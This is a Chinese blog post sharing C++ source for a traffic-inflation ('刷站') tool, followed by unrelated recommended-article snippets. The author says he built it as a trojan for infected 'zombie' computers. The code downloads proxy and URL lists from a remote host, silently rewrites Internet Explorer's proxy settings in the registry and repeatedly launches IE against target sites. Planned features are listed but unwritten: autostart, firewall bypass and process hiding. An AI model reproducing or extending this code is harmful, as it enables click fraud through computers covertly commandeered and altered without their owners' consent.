下载指定代理文件调用IE使用代理访问指定网站的代码

【burpSuite】浏览器设置代理后无法访问https 开启burpSuite,浏览器设置代理之后,如果访问使用https的网站时,会被卡住,告诉你“您的访问不安全”之类的。简单地说,这是证书与证书信任的问题,解决方法是下载burpSuite官方(也就是portSwigger)的证书,并信任它。官方指导:https://support.portswigger.net/customer/portal/articles/1783075-installing 阅读详情
前段时间haicao写了一个刷站程序,原理是通过更新IE代理,然后调用IE去访问指定的网站,从而达到刷站的目的,后来haicao说这样做效果不理想,结果我也没有能继续开发下去的意愿,现在发布出来。
介绍一下:
      这个程序只完成了一半,按我设计的功能还没有达到,但是没有希望的东西,也就没有开发的必要了。
结构:
   1----程序启动时自动下载更新代理文件(完成)
   2----设置IE代理,调用IE(可隐藏界面)访问指定网站(完成)
   3-----自启动(没有写)
   4------穿透放火墙(没有写)
   5-------隐藏程序进程(没有写)

发布出来主要还是给菜鸟问学习的,高手们就不要看了,要么我就觉得我自己的在丢人显眼了!

    haicao的程序主要思想是写出来自己运行,而我当时第一个想法就是做成木马方式,然后肉鸡或者是中木马的电脑自动帮我们刷站,所以我写的基于木马方式。

里面用到李马介绍的:浅析木马服务端的生成技术
            [url]http://sunlion.3322.org/show.asp?sunid=206[/url]
            如果没有写过木马配置器的同学,你可以学习学习!也可以把我的程序当着是一个例子。希望对给菜鸟们带来点什么。
   
copy.rar--------------------这个是摸板源代码
copy.bin——————————这个是摸板release后的exe文件,我修改为bin
Auto.cpp--------------------------这个是GUI木马培植器的主程序。
都在压缩包里面了。
    前两天想找以前写这个程序的时候搜索的资料,结果竟然被我删除了,郁闷,这些东西都是叫无敌在给我传回来的,随便也就发出来了。图片如下:
[img]http://sunlion.3322.org/blogpic/2006427025068801.jpg[/img]
GUI主要是通过从载摸板资源,修改指定地址数据,再从新生成EXE,文件,所以这个程序的主要功能代码还在下面这个CMD版中:
#include  <afx.h>
#include <stdio.h>
#include <Wininet.h>
#pragma comment(lib,"Wininet.lib")
//#include"HideProcess.h"
#define LEN sizeof(struct DataIpPort)

struct DataIpPort                            //定义一个链表结构来保存读入的代理地址
{
   char           dataLine[50];
   struct DataIpPort      *next;
};


struct DataIpPort *ReadData( char *fileName )  //这个子函数负责读入指定数据放到链表中
{
  
   struct DataIpPort      *l;
   struct DataIpPort      *p;
   FILE          *fp = NULL;
  

  if( (l = (struct DataIpPort *)malloc(LEN)) == NULL )
   {
      printf( "create mem error.../n" );
      exit(-1);
   }
   l->next =NULL;
   if( (fp = fopen( fileName , "r" )) == NULL )
   {
      printf( "open the %s error.../n" , fileName );
      exit(-1);
   }
   
  while( !feof(fp) )
  {   //主要是头部插入,其实尾部最好,不用考虑颠倒问题
     p = (struct DataIpPort *)malloc(LEN);
     fscanf( fp , "%s" , p->dataLine );
     p->next =l->next ;
     l->next =p;

  }
   return (p);
}  

//负责下载代理文件,这里直接copy了网上的代码,再次感谢作者
HRESULT UrlDownloadData(LPCTSTR szUrl, BYTE* &lpszData, DWORD &dwSize)
{
   URL_COMPONENTS urlComponents;
   memset(&urlComponents, 0, sizeof(urlComponents));
   urlComponents.dwStructSize = sizeof(urlComponents);
   urlComponents.dwHostNameLength = 1;
   urlComponents.dwUrlPathLength = 1;
   BOOL bSuccess = InternetCrackUrl((LPCSTR)szUrl, 0, 0, &urlComponents);
   if(!bSuccess)
   {
      return E_FAIL;
   }
   CHAR szHostName[256];
   strncpy(szHostName, urlComponents.lpszHostName, urlComponents.dwHostNameLength);
   szHostName[urlComponents.dwHostNameLength] = 0;
   CHAR szUrlPath[1024];
   strncpy(szUrlPath, urlComponents.lpszUrlPath, urlComponents.dwUrlPathLength);
   szUrlPath[urlComponents.dwUrlPathLength] = 0;
   USHORT nPort = urlComponents.nPort;

   HINTERNET hSession = InternetOpen("MSIE 2.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
   if(hSession != NULL)
   {
      HINTERNET hConnection = InternetConnect(hSession, _T(szHostName), nPort, NULL, NULL, urlComponents.nScheme, 0, 0);
      if(hConnection != NULL)
      {
        static LPCTSTR* lpszAcceptTypes = NULL;
        static LPCTSTR lpszMethod = "GET";
        HINTERNET hRequest = HttpOpenRequest(hConnection, lpszMethod, _T(szUrlPath), HTTP_VERSION, NULL, lpszAcceptTypes,
           INTERNET_FLAG_DONT_CACHE, NULL);
        if(hRequest != NULL)
        {
           CHAR* szHeader = NULL;
           CHAR* szPost = NULL;
           BOOL bSend = ::HttpSendRequest(hRequest, szHeader,0, szPost,0);
           if(!bSend)
           {
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return E_FAIL;
           }
           
           CHAR bufStatusCode[80];
           DWORD dwStatusSize = sizeof(bufStatusCode);
           if(FALSE == ::HttpQueryInfo(hRequest, HTTP_QUERY_STATUS_CODE,
              &bufStatusCode, &dwStatusSize, NULL)) { //获取返回状态码
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return E_FAIL;
           }
           UINT nStatusCode = (UINT)atol(bufStatusCode);
           //判断状态码是不是 200
           if(HTTP_STATUS_OK != nStatusCode)
           {
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return FALSE;
           }
           // Get the length of the file.
           char bufContentLength[32];
           DWORD dwLengthSize = sizeof(bufContentLength);
           if(FALSE == ::HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
              bufContentLength, &dwLengthSize, NULL))
           { // 取文件长度
              InternetCloseHandle(hRequest);
              InternetCloseHandle(hConnection);
              InternetCloseHandle(hSession);
              return E_FAIL;
           }
           DWORD dwFileSize = (DWORD)atol(bufContentLength);
           
           BYTE*    lpszBuff = NULL;
           DWORD    dwBuff = 1024;
           DWORD    dwRead;
           BOOL    bDownload = TRUE;

           lpszData = new BYTE[dwFileSize];
           dwSize = 0;
           do {
              if(!InternetQueryDataAvailable(hRequest,&dwBuff,0,0))
              {
                if(lpszBuff != NULL)
                {
                   delete[] lpszBuff;
                }

                InternetCloseHandle(hRequest);
                InternetCloseHandle(hConnection);
                InternetCloseHandle(hSession);

                delete[] lpszData;
                lpszData = NULL;
                dwSize = 0;

                return E_FAIL;
              } else
              {
                lpszBuff = new BYTE[dwBuff];
                if(!InternetReadFile(hRequest,(LPVOID)lpszBuff,dwBuff,&dwRead))
                {
                   delete[] lpszBuff;
                   InternetCloseHandle(hRequest);
                   InternetCloseHandle(hConnection);
                   InternetCloseHandle(hSession);

                   delete[] lpszData;
                   lpszData = NULL;
                   dwSize = 0;

                   return E_FAIL;
                } else
                {
                   if(dwRead == 0)
                   {
                      delete[] lpszBuff;
                      break;
                   }
                   DWORD dwCurrent = dwSize;
                   dwSize += dwRead;
                   if(dwSize <= dwFileSize)
                   {
                      memcpy(lpszData + dwCurrent, lpszBuff, dwRead);
                      delete[] lpszBuff;
                   } else
                   {
                      delete[] lpszBuff;
                      InternetCloseHandle(hRequest);
                      InternetCloseHandle(hConnection);
                      InternetCloseHandle(hSession);

                      delete[] lpszData;
                      lpszData = NULL;
                      dwSize = 0;

                      return E_FAIL;
                   }
                }
              }
           } while(bDownload);
           InternetCloseHandle(hRequest);
           InternetCloseHandle(hConnection);
           InternetCloseHandle(hSession);
           return S_OK;
        } else
          {
           InternetCloseHandle(hConnection);
           InternetCloseHandle(hSession);
        }
      } else
       {
        InternetCloseHandle(hSession);
      }
   }
   return E_FAIL;
}


void usage(char *p)         
{
   printf(
   "/t Usage:/t/n"
   "/t %s NetFileProxy FileProxy NetFileURL FileURL T1 T2 T3/t/n"
   "/t NetFileProxy------代理列表文件网络地址.例如:  [url]http://sunlion.3322.org/SunLion.EST[/url]/t/n"
   "/t FileProxy------代理列表文件.例如:  PROXY.EST/t/n"
   "/t NetFileURL------要访问的地址文件网络地址.例如:  [url]http://sunlion.3322.org/URL.EST[/url]/t/n"
   "/t FileURL------要访问的地址.例如:  URL.EST/t/n"
   "/t T1------间隔时间(s).默认:18s/t/n"
   "/t T2------循环次数.默认:24/t/n"
   "/t T3------访问延时(ms)m默认:10000ms/t/n"
   "/t 两种格式输入:1.只输入IE所在的盘符、代理和域名文件  2.把所有参数都输入/t/n"
   "/t %s c: sunlion.est url.est/t/n"
   "/t %s c: proxy.est url.est 15 24 10000/t/n"
        ,p,p,p);   
}


int main(int argc,char *argv[])
{


char buf[100];
int  i, T1=18,T2=24,T3=10000;
struct DataIpPort *IpPort,*IpPortCONST;
struct DataIpPort *URL,*URLCONST;
LPBYTE pData = NULL;
DWORD dwSize = 0;
char szSystemDir[MAX_PATH];
   

   

printf(  "    *************************************************************/r/n"
       "    *        CMD版刷站程序 V1.0  AutoAlexa.exe          */r/n"
       "    *        Welcome To EvilOctalSecurityTeam           */r/n"
       "    *           [url]http://www.eviloctal.com[/url]              */r/n"
       "    *design:SunLion[EST]           [url]http://sunlion.126.com[/url]  */r/n"  
       "    *************************************************************/r/n"
        );

HKEY hKey;
LPCTSTR key="SOFTWARE//Microsoft//Windows//CurrentVersion//Internet Settings//";
LPCTSTR value="/x00/x00/x00/x01";
GetSystemDirectory(szSystemDir,MAX_PATH);   
szSystemDir[2] = &#39;/0&#39; ;
HRESULT hRet = UrlDownloadData(argv[1], pData, dwSize);
if(SUCCEEDED(hRet) && dwSize > 1)
{//读取文件
      OFSTRUCT ofs;
      HANDLE hFile = (HANDLE)OpenFile(argv[2], &ofs, OF_CREATE | OF_WRITE | OF_SHARE_EXCLUSIVE);
      if(hFile)
      {
        DWORD dwWritten;
        WriteFile(hFile, pData, dwSize, &dwWritten, NULL);
        CloseHandle(hFile);
        delete[] pData;
        //return TRUE;
      }
   }
else
{
printf("UrlDownloadData1 false!");
  delete[] pData;
}   
//printf("qqqqqqqqqqqqqqqqqqqqqq!");

   //return FALSE;
pData = NULL;
  hRet = UrlDownloadData(argv[3], pData, dwSize);
  if(SUCCEEDED(hRet) && dwSize > 1)
  {//读取文件
      OFSTRUCT ofs;
      HANDLE hFile = (HANDLE)OpenFile(argv[4], &ofs, OF_CREATE | OF_WRITE | OF_SHARE_EXCLUSIVE);
      if(hFile)
      {
        DWORD dwWritten;
        WriteFile(hFile, pData, dwSize, &dwWritten, NULL);
        CloseHandle(hFile);
        delete[] pData;
        //return TRUE;
      }
   }
  else
  {
  printf("UrlDownloadData2 false!");
   delete[] pData;
  }
   //return FALSE;
//HideProcess();
//下面是通过修改注册表实现 IE代理,两个地方自己看
if((::RegOpenKeyEx(HKEY_CURRENT_USER,  
key, 0, KEY_WRITE,&hKey))!=ERROR_SUCCESS)
{
printf("错误: 无法打开有关的hKey!");
return FALSE;
}

if((::RegSetValueEx(hKey, "ProxyEnable", NULL,
REG_DWORD,(LPBYTE)value,4))!=ERROR_SUCCESS)
{
printf("错误: 无法修改有关注册表信息Enable!");
return FALSE;
}

if((argc!=5)&&(argc!=8))
{
usage(argv[0]);
return FALSE;
}

  

    IpPort =IpPortCONST= ReadData(argv[2]);
    if(IpPort==NULL)
       printf("get file1 false!");
    URL =URLCONST= ReadData(argv[4]);
    if(URL==NULL)
       printf("get file1 false!");
    if (argc==8) //桂林老兵的技巧
    {
          T1=atoi(argv[5]);
           T2=atoi(argv[6]);
          T3=atoi(argv[7]);
    }
  for(i=0;i<T2;i++)
    {
    IpPort=IpPortCONST;
    while(IpPort->dataLine !=NULL)
    {
    printf("/n%s",IpPort->dataLine);
    if((::RegSetValueEx(hKey, "ProxyServer", NULL,
       REG_SZ,(LPBYTE)IpPort->dataLine,sizeof(IpPort->dataLine)))!=ERROR_SUCCESS)
    {
      printf("错误: 无法修改有关注册表信息Server!");
      return FALSE;
    }
     URL=URLCONST;
    if(URL->dataLine==NULL)
       printf("/n无法读取URL列表文件!");
    while(URL->dataLine !=NULL)
    {
   
       STARTUPINFO info={3};//这里要了我的命
      PROCESS_INFORMATION pinfo;
      info.cb       = sizeof(STARTUPINFO);

      //info.dwFlags    = STARTF_USESHOWWINDOW;
     // info.wShowWindow = SW_HIDE;
      info.dwFlags    = STARTF_USESTDHANDLES;
      info.wShowWindow = SW_SHOWDEFAULT;
      
     
      sprintf(buf,"%s//Program Files//Internet Explorer//IEXPLORE.EXE %s",szSystemDir,URL->dataLine);
     
     printf("/n%s/n",buf);
     if(!CreateProcess(NULL,buf,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&info,&pinfo))
    {
      printf("错误: 无法创建IE进程!");
      return FALSE;
     }
      
      
     
     URL =URL->next ;
     ZeroMemory(buf,100);
     Sleep(T3);
     TerminateProcess(pinfo.hProcess,0 );
    }
    IpPort =IpPort->next ;
    Sleep(T1*1000);
    }
   }
  



}
 
用Python实现批量下载文件——代理ip排除万难 使用Python编写批量下载代码,可以提高工作效率。本文介绍了如何使用requests库来下载文件,如何设置代理IP来绕过某些网站的下载限制,并且展示了如何处理下载过程中可能会出现的异常。希望这篇文章对你有所帮助! 阅读详情

相关推荐

Windows11使用Edge访问IE页面

更新了Windows11后发现Internet Explorer不见了。实际工作生活中有些地方只能只用IE,怎么办? 1.下载360浏览器,切换内核可以使用。 2.下载插件IE Tab windows11默认使用Microsoft Edge(新版Edge)。安装IE Tab即可。 下载安装 1.进入设置 2.edge可以不用梯子,直接访问扩展商店 3.搜索IE Tab,点击获取即可安装好 4.安装完成右上角显示插件图标 使用 一个网站可能首页都支持其他浏览器,子页面的样式或者是弹窗之类只支持IE.

yuyyuuy的博客 3057

ValueError: File format b‘\x00\x00\x00\x14‘ not understood. Only ‘RIFF‘ and ‘RIFX‘ supported.

ValueError: File format b'\x00\x00\x00\x14' not understood. Only 'RIFF' and 'RIFX' supported.

关于我的学习记录 4566

使用a href 文件下载 IE直接打开 内容乱码

生产环境遇到一个问题,页面中有一个a标签 href为文件的路径,IE浏览器无法下载,内容也为乱码,其他浏览器均正常。 <a href="https://xxx/attached/file/20191112090721_279.docx" target="_blank">奖励活动北京获奖名单</a> 一开始以为是不是使用这种方法 IE都不行,于是创建一个本地web项目,...

itmyhome的专栏 3067

\xac\xed\x00\x05t\x00\x02,在SpringBoot中操作redis时,发现key多了前面的字符串

                   在SpringBoot中操作redis时,发现key多了\xac\xed\x00\x05t\x00\x02前缀 原因: 我们注入的RedisTemplate在对Redis进...

m0_37510446的博客 4152

运维系列&Windows系列【亲测有效】:解决Windows7系统自带的IE浏览器无法访问网站问题

解决Windows7系统自带的IE浏览器无法访问网站问题

weixin_54626591的博客 2399

JAN-MCUBUS-0A01 for AT070TN83 V.1.pdf

8080总线驱动群创AT070TN83V.1,简介、有效

Redis 出现\xAC\xED\x00\x05t\x00 乱码

Redis乱码

lip86的专栏 791

萨姆森SAMSON 3767 型电气定位器安装操作手册(英文版).pdf

萨姆森SAMSON 3767 型电气定位器安装操作手册(英文版)pdf,萨姆森SAMSON 3767 型电气定位器安装操作手册(英文版)

沉迷java_Java8 Stream系列(一)从入坑到沉迷

不想再用for嵌套for操作了,java8 带来了新的API —— Stream,非常强大!Stream中文翻译成流,是一个支持串行和并行操作元素的序列,也是Lambda表达式配合使用的强大工具。源码在java.util.stream中,感兴趣可以阅读阅读。0x00 java8 中的流是什么在编程中,对一串数据进行0个或者多个中间操作后,最后再获得结果。这个操作在没有流的情况下一般会涉及到多次循环...

weixin_31439191的博客 166

驱动ST7565显示汉字以及画点.pdf

最近需要用ST7565来显示汉字以及画点,发现网上关于ST7565驱动显示文字的例子也不少,不过画图方面的例子就很少了

TM1650数码管驱动芯片

简介 TM1650是一款国产4位共阴数码管驱动芯片,它还带有矩阵按键扫码功能。它的基本参数如下: 工作电压:3~5V 数码管驱动模式:8段x4位共阴数码管 矩阵按键驱动模式:7x4矩阵按键,不支持组合键 通信接口:类IIC,使用了IIC相同的时序,但没有完全遵守IIC的协议,不带从机地址 引脚定义 SCL:串行通信时钟线 SDA:串行通信数据线 做数码管驱动使用时 DIGx:数码管的位选引脚,灌电流驱动,最大可吸收150mA电流 A~DP:数码管的段驱动引脚,拉电流驱动,最大可输出25m

luliplus的博客 4万+

IE只访问特定网站设置步骤

IE只访问特定网站设置步骤要让客户只能访问某些网站,最简单的方法就是使用IE 的分级审查。 进入IE或者傲游,依次点击工具→INTERNET选项→内容→分级审查→设置→常规→创建密码,输入你想要的密码(以后你要登录浏览器必须输入此密码) 但是现在你无论访问什么网页都要输入密码,要想只能访问指定网页可以依次点击工具→INTERNET选项→内容→分级审查→设置→许可站点,然后在允许该站点里面输入网...

hzq0201的博客 2179

RV1126开发板性能实测:网络、温度与功耗全解析

本文对RV1126开发板进行了全面的性能实测,重点分析了网络性能、温度表现与功耗特性。测试发现UDP带宽可达500Mbps,但TCP性能受限于协议栈;散热设计对持续性能至关重要,大板子在AI推理和视频推流中表现更稳定。为嵌入式开发者提供了真实的选型参考和优化建议。

d3e4f的博客 267

如何在Chrome、IE里访问国密网站

随着国密网站的增多,很多常用浏览器不支持国密SSL网站访问的问题日益突出,如Chrome 、Edge、IE 等浏览器均不能访问国密SSL网站。而很多政府、银行、科研机构仍然运行着面向IE开发的应用,同时这些应用需要依赖 ActiveX 插件来完成特定的操作。虽然 IE6/7/8 已经有很多年的历史,但难以否认地是,至今 IE6/7/8/9/11依然没有被淘汰,考虑到一些大的机构、公司内还使用着 Windows XP/7 操作系统;对于新的应用往往需要 IE9+ 、Chrome甚至于交叉环境下运行。那么如何在

xiaoleio的专栏 1万+

AI算力瓶颈与系统优化实战指南

AI算力瓶颈已成为制约人工智能发展的关键因素,特别是在处理transformer类模型时,传统的冯·诺依曼架构面临严重的'内存墙'问题。通过硬件加速、系统优化和算法改进的三级策略,可以有效提升资源利用率。在嵌入式AI领域,结合量化、剪枝和专用指令集扩展等技术,能在资源受限设备上实现高效推理。这些优化方法在自动驾驶、工业视觉等场景中已展现出显著价值,推动AI应用从云端向边缘迁移。随着AI算力需求的持续增长,掌握系统优化技能将成为开发者的核心竞争力。

weixin_32597009的博客 340

新手必看:如何用T265和ROS实现无人机室内精准定位(附PX4参数配置)

本文详细介绍了如何使用Intel Realsense T265和ROS实现无人机室内精准定位,包括硬件准备、ROS数据流架构设计、PX4参数配置及系统验证。特别针对视觉SLAM技术在室内环境中的应用,提供了从零搭建到进阶优化的全流程解析,适合无人机开发新手快速上手。

weixin_30642561的博客 404

关于java模拟ie 访问web网站的解决方法

下面提供一个文件,该文件实现的功能有,java下访问网址,下载下来该页面到指定目录。可以设置代理服务器。package ie;/** * @author webkkk(blog.youkuaiyun.com/webkkk) */import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.DataOutputS

技术专栏 3572

高分辨率航拍图像的目标检测切图优化策略

本文深入探讨了高分辨率航拍图像目标检测中的切图优化策略。针对大尺寸图像直接缩放导致小目标信息丢失的问题,文章详细阐述了基于重叠切割的核心方法,包括如何根据目标尺寸确定切图尺寸与重叠率,并提供了从切图到坐标还原的完整代码实现与避坑指南,有效提升检测精度与效率。

xk7n92h3p5m的博客 1113

使用Python控制IE访问网站

这里介绍一下怎样利用Python 2.7和Python Win32 Extensions来控制浏览器访问一个网页。 首先需要到Python的官网下载Python 2.7.3 Windows Installer,下载后文件名为python-2.7.3.msi。  接着到Python Win32 Extensions的官网(http://starship.python.net/~skippy/

yzl11的博客 5173

Codex 100个真实案例 - 用AI画业务流程图Mermaid(产品经理都馋哭了)

还在用 Visio、ProcessOn 拖拖拽拽画流程图?改一个箭头方向就要调半天?本案例教你用 Codex 自然语言描述业务流程,AI 自动转为 Mermaid 代码,一秒生成专业流程图、时序图、甘特图、饼图!还能搭建在线渲染工具、批量导出 PNG/SVG、集成到文档系统。产品经理、架构师、项目经理都能用,从此画图再也不是体力活!

yueyeguzhuo的专栏 351

5.7 BGP属-ORIGIN

注意:当去往同一个目的地存在多条不同Origin属性的路由时,在其他条件都相同的情况下,BGP将按如Origin的下顺序优选路由:IGP > EGP > Incomplete。通过以上输出可以看到路由表选择了R3发过来的路由,因为R1的路由的起源为?通过以上输出我们可以看到针对于1.1.1.1这条路由有两条,从R1和R3传过来的起源都属于IGP。(4)把从R1传过来的路由的起源改为incomplete。通过以上输出可以看到,从R1传过来的路由是最优的。(2)在R2上查看1.1.1.1的路由详细信息。

lwljh134的博客 308

【免费下载】 IE Tab 插件 Chrome 版本下载

IE Tab 插件 Chrome 版本下载 【下载地址】IETab插件Chrome版本下载 IE Tab 是一款专为 Chrome 浏览器设计的插件,它能够在 Chrome 浏览器中嵌入 IE 浏览器的内核。对于经常使用 Chrome 浏览器的用户来说,IE Tab 插件无疑是一个非常实用的工具。当你遇到只能兼容 IE ...

gitblog_09808的博客 3510

通过理解 sk_buff 深入掌握 Linux 内核自定义协议族的开发实现

在。

数字人生 458

关于Chrome浏览器调用IE浏览器

最近遇到一个问题我们想要谷歌浏览器和IE 浏览器兼容 因为有一些产品只支持IE 而我们使用的是谷歌浏览器,所以出现了这么一个问题 在网上找了几天的内容发现都是谷歌4.5版本以下去下载一个IE Tab插件去解决的 但我们使用的是谷歌75最新版本的,安装不上这个插件, 这篇文章就是解决谷歌高版本怎么去调用IE 首先我们去需要去下载链接: https://pan.baidu.com/s/1HUoafK...

YXWik的博客 1万+

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

上一篇: Local System 权限读取用户IE 代理设置的研究及简单HTTP代理验证
下一篇: Kernel下检测还原正确的SSDT
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值